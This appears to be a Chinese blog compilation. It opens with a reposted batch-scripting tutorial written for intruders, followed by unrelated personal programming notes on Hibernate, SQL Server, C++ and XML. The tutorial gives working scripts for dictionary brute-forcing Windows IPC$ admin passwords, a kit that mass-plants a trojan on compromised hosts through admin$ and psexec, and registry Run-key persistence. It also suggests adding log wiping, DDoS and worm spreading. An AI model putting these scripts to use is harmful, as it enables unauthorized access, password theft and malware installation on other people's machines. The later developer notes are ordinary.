一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{ on|off }] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：//back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 　待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms

2、if exist 文件名　 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字　 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2 　
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 /'z/' 或
/'Z/' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D://ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^
sample2：
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)

1.&

Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample：
C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.

C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E://backup
如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）

3.||

Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

Sample：
C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C://Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：
sample：
@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage：第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

sample：
time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：
echo hello world>c://hello.txt (stupid example?)

sample2:
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。

No.5
五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。

1.创建
创建分为两种，一种是创建子项(Subkey)

我们创建一个文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]

然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”

2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。

3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-

执行该脚本，[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了；

--------------------------------------------------------------------------------

以上为转载内容

%CD%   当前路径current directory
ITH305 http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html
 
批处理copy特定名称目录的内容：

shark的模块有二十六个，源文件分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文件的内容导入到项目中。在家摆弄的时候总算想到个方法来自动copy这些文件。(人家分类分得好好的，我把他们合并在一起，这是搞破坏哈)
 
文件目录形式:
shark-1.1
    modules
        SharkAPI
            src
        SharkApplicationMapPersistence
            DODS
                src
            Hibernate
                src
    ...
 
cpysrc.dat
 
@echo off
if "X%1"=="X" goto initialize
goto becalled
:initialize
if exist subdirs.txt del subdirs.txt>nul
dir /d /b /a:d> subdirs.txt
for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i
del subdirs.txt>nul
goto end
:becalled
if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s && goto end
cd %1
call E:\Resource\shark-1.1\modules\cpysrc.bat
cd ..
:end
 
在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下并执行就可以。cpysrc.bat将遍历当前目录下的所有目录，并copy名为src文件夹下的所有内容到E:\JavaApp\Shark\src\。

俺用了三个批处理来自动生成hibernate的文件。
 
execant.bat:
d:
cd D:\hibernate-3.0\middlegen-2.1\samples\
rem 打开build.xml修改middlegen配置
editplus.exe build.xml
ant
 
myant.bat:
call execant.bat
pause
rem 复制hbm和java文件到工程目录
xcopy .\build\gen-src\com\glacierbbs\hibernate\*.java E:\eclipse\workspace\JGlacier\src\com\glacierbbs\hibernate\ /Y /D
xcopy .\build\gen-src\com\glacierbbs\hibernate\*.xml E:\eclipse\workspace\JGlacier\src\ /Y /D
rem 替换掉hbm中的字符串
call E:\eclipse\workspace\JGlacier\cutter.bat
pause
 
cutter.bat:
e:
cd E:\eclipse\workspace\JGlacier\src
dir *.xml /d /b /a-d >hbmfiles.txt
rem 将版本2.0改成3.0
for /f %%i in (hbmfiles.txt) do strrpc /s:%%i 2.0 3.0 /c
rem 将hi/lo的max_lo由100改成0...我只需要简单的数字
for /f %%i in (hbmfiles.txt) do strrpc /s:%%i 100 0 /c
del hbmfiles.txt>nul
rem 所有hi/lo算法读的是同一个表中的不同字段
strrpc /s:Board.hbm.xml next_value next_boardid /c
strrpc /s:Post.hbm.xml next_value next_postid /c
strrpc /s:Topic.hbm.xml next_value next_topicid /c
strrpc /s:UserBasic.hbm.xml next_value next_userid /c
strrpc /s:Vote.hbm.xml next_value next_voteid /c
strrpc /s:VoteOption.hbm.xml next_value next_voteoptionid /c
strrpc /s:VoteParticipant.hbm.xml next_value next_voteparticipantid /c
cd ..
pause
 
然后，为每个hibernate生成的java类写个Adapter类...从此世界就安静了....

errorpage路径设置错误产生异常:
java.lang.NullPointerException
org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:690)
org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:657)
org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:805)
org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:778)
org.apache.jsp.index_jsp._jspSer...

从文件路径错误到NullPointerException...需要很强的想象力

书籍memo:《Tomcat 与 Java Web 开发技术详解》

看了10分钟英文的题目，大概理解如下:有个m * n的字符串数组grid，和一个长度为g的字符串path，匹配方式是从grid中任何一个位置开始，从上下左右和对角方向(共八个方向)进行匹配，要求计算匹配的次数。如果匹配次数大于1000000000，返回-1。
类名字为WordPath，方法为int countPaths(vector <string> grid, string find);(俺语言选了C++)
 
看完题目，只剩下不到50分钟了，赶快写吧。直接开了个vc，创建类，写函数(不习惯竞技场的界面的)...正要调试的时候vc出问题了，说俺文件丢失。@#$！懒得去找丢失的文件。直接用竞赛场的界面来调试吧。我用vc编译是没问题的，在竞技场上编译就出问题了。因为vc工程的头文件和cpp文件是分开的，而竞技场里面是合并的。copy过来的时候出了问题..声明了虚构函数却没实现...
好不容易调试通过了，运行出问题了，错误结果是：segmentation fault。但我不知道这个segmentation fault是什么鸟。编码的时间从剩余的十几分钟一直到10分钟，到1分钟....烦了，干脆关掉。
 
郁闷，出去逛了一圈回来，重新建个vc的工程自己调试。运行没什么问题啊...返回的结果似乎也是正确的(俺只测试了一个例子)。奇怪为什么同样的代码在上面运行就出错呢？
 
只能怪自己是菜鸟了。安慰的说法是俺不是编程机器...
 
总结一下俺失败的经验:
1.C++的类要习惯把头文件和cpp文件写在一快。
2.完全不要考虑参数是否会出错，不要浪费时间做错误处理。
3.完全用C的代码来写C++的类。C++的特性不要使用，比如static成员，在构造函数里面初始化等。
4.比赛前研究一下调试的环境，好像标准输入输出是可以用的，但我没试过...
 
做好上面4点，完成题目的可能性会比较大了。

我在我自己机器上的数据库中创建了两个数据库，进行复制实验。
 发现：

 1. 复制主键重复错的问题，即  '违反了 PRIMARY KEY 约束 'PK__@snapshot_seqnos__52547341'等错误。不能在对象 '#51604F08' 中   插入重复键。

 经查，初步推论此为微软复制程序的BUG,将在PACK4中加以修补，如现在修补，必须联系微软当地  SUPPORT,存在收费,  我们的SQLSERVER已升级至PACK3  8.00.760 ,基本为最新。为以下LINK:
http://support.microsoft.com/default.aspx?scid=kb;en-us;813494#appliesto

2.long-text字段在复制时无法大量导入的问题，错误'为进程未能大容量复制到表"CORP_DYNASTATUS_TAB"”中，在 BCP 数据文件中遇到的意外的 EOF',在现在的 数据库中经手工初始化后基本正常，但有时仍然出现此错误和别的错误。

经查，初步推论为微软bcp工具以bulk insert 方式加载 image或文本大对象时支持不好， 网上其他许多人也在复制时也发生同样的问题，给出的答案为
 http://support.microsoft.com/?id=271344
微软说自己的工具不太支持，建议单独bcp到文件中再从文件中bcp到表中,为此提供textcopy工具. 但此工具需单独维护，不能和复制合为一体。

学习数据库的一些资料：

存储过程的好处：1编译2封装3重复使用4安全性5减少网络流量

JDBC读取字段需要按顺序的原因？：SQL数据库在构造虚拟表的时候就是以一种先进先出的原则,把所有的数据排列在一个内存段之中,通过顺序的读取,将数据逐一的读取,而如果跳过某个具体的字段获取下一个字段的信息,系统就会将原来的那个字段的信息丢失,以释放内存,这是出于系统构造的简单性和系统的内存最低化的要求,所以这样也保证了有限的内存资源得到最充分的发挥。？

在SQL Server中保存和输出图片http://www.pcdog.com/p/html/2004124/41220041381_1.htm

很好的一个电子书下载地址http://www.ibook8.com/book/shuju.htm

我能找到的关于cout的内容就只是一个声明：
extern _CRTIMP ostream cout;

具体这个cout是怎么被定义的一无所知，可能不同平台有不同的定义

在vc++6.0实验如下
#include <fstream>
int main(int argc, char* argv[])
{ 
   std::filebuf myfile(&_iob[1]); 
   std::ostream mycout(&myfile); 
   mycout<<"test."; 
   return 0;
}
效果和cout<<"test."完全相同。

cout其实就是输出到标准输出。而标准输出是可以被重定向的，标准输出被重定向后，cout将输出到被重定向后的目标。

vc++6.0中_iob的声明为
_CRTIMP extern FILE _iob[];
_iob[0]为标准输入，_iob[1]为标准输出，_iob[2]为标准错误输出
用VC的debug观察得出_iob的值是固定的。
_iob[0]._file==0
_iob[1]._file==1
_iob[2]._file==2

调用windows API也可以写到标准输出:
DWORD dwByteWrited=0;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),"Test StdHandle",13,&dwByteWrited,NULL);

如果标准输出没有被重定向GetStdHandle返回的值似乎固定为7。
标准输出被重定向后GetStdHandle返回的值是其它的不固定值。

这好像涉及到语言在具体平台上的实现了...unix的cout和windows的cout的内部实现应该是不同的...没用过unix，猜测而已

/*
modified:
去掉了对管道的操作，尽量采用stl。
增加了帮助功能
采用了KMP算法来查找字符串。从清华大学的《数据结构》上抄的...
所有内容只被读入一次，只保存在一个地方。时间复杂度和空间复杂度应该都有所降低。
*/

/*
WARNING:程序未经过测试，只经过调试。哈
*/

用法:将strrpc.exe复制到你的system32目录或者任何一个PATH目录,在dos命令行执行即可

/*
 strrpc  [/L:m-|m+|m-n|m] [/P:m-|m+|m-n|m] [/I] [/O] original [objective] [/S:srcfile [/C]] [/E]

 [/L:m-|m+|m-n|m] 对于行,只替换(0,m]个,或[m,infinite),或[m,n]或第m行.m>=n>0 (行号从1开始)
 [/P:m-|m+|m-n|m] 对于出现的原始字符串,同上
 [/I]    搜索时忽略大小写
 [/O]    只显示替换过的行
 original   要替换的字符串
 [objective]   用来替换的字符串，如果为空则替换为空字符串
 [/S:srcfile]     指定源文件,如果没有指定,将处理键入的或由另一命令产生的文字
 [/C]    只有当指定源文件时有效。用替换的结果覆盖源文件
 [/E]    消除空行
    [/?]                显示帮助
*/

例子(在DOS命令行下):
1:
echo abcdef | strrpc abc def
defdef

2:
echo abcdef | strrpc aBC def /i
defdef

3:
echo abcabcdef | strrpc Abc def /i /p:2
abcdefdef

创建c:\test.txt内容如下
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{ on|off }] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

然后执行dos命令:
4:
strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o
回音 [{ on|off }] [message]

5:
strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o >result.txt
result.txt内容为
回音 [{ on|off }] [message]

第4个和第5个例子解释： 把c:\test.txt中的从第5行到第6行的第一次出现的不区分大小写"echo"替换为"回音"，并只把替换过的行的替换结果输出到控制台或当前目录下的result.txt文件。

附件ver0.001 ver1.0

msdn关于xml element
w3schools中关于xml island

但对于不规则的xml文件，我死活找不到使用数据岛的方法。好像xml island把xml当成一个类似数据库的表，直接把根目录下的元素当成recordset。所以对于xml文件如下找不到解决的办法：

<?xml version="1.0" encoding="gb2312"?>
<!-- file name = rss_down_s10.xml-->
<rss version="2.0">
<channel>
       <title>123 - 旅游杂志 </title>
       <link>http://www.china-data.com.cn</link>
       
       <item>
           <title>[旅游杂志]杭州西湖 </title>
           <link>http://www.china-data.com.cn/downinfo/93.html</link>
           
       </item>
       <item>
           <title>[旅游杂志]桂林旅游 </title>
           <link>http://www.china-data.com.cn/downinfo/92.html</link>
           
       </item>
       (item s)
</channel>
</rss>

为了获取前10条item的数据，只好土炮制造javascript如下

DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>TestTITLE>

<script language="JavaScript"> 
    function load() { 
        var xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.load("rss_Down_s10.xml"); 
        var channelNode = xmlDoc.documentElement.firstChild;
        var objNodeList = channelNode.selectNodes("//item");
        for(var count = 0;count < 10 && count <= objNodeList.length;count ++){
            var itemnode = objNodeList.item(count);
            var titleText = "";
            var titleNode = itemnode.selectSingleNode("title");
            if(titleNode != null)
                titleText = titleNode.text;
            var linkText = "";
            var linkNode = itemnode.selectSingleNode("link");
            if(linkNode != null)
                linkText = linkNode.text;
            addRow("test",count,titleText,linkText);
        }
    } 
    function addRow(id,index,title,link){
        var tbody = document.getElementById(id).getElementsByTagName("TBODY")[0];
        var row = document.createElement("TR")
        var td0 = document.createElement("TD")
        td0.appendChild (document.createTextNode(index))
        var td1 = document.createElement("TD")
        td1.appendChild(document.createTextNode(title))
        var td2 = document.createElement("TD")
        td2.appendChild (document.createTextNode(link))
        row.appendChild(td0);
        row.appendChild(td1);
        row.appendChild(td2);
        tbody.appendChild(row);
    }
script> 

HEAD>
<BODY onload = load()>
<table id = "test">
<tr>
<td>1td>
<td>2td>
<td>3td>
tr>
<table>
BODY>
HTML>

如果rss_Down_s10.xml可以被修改，还可以使用xsl来按格式显示数据。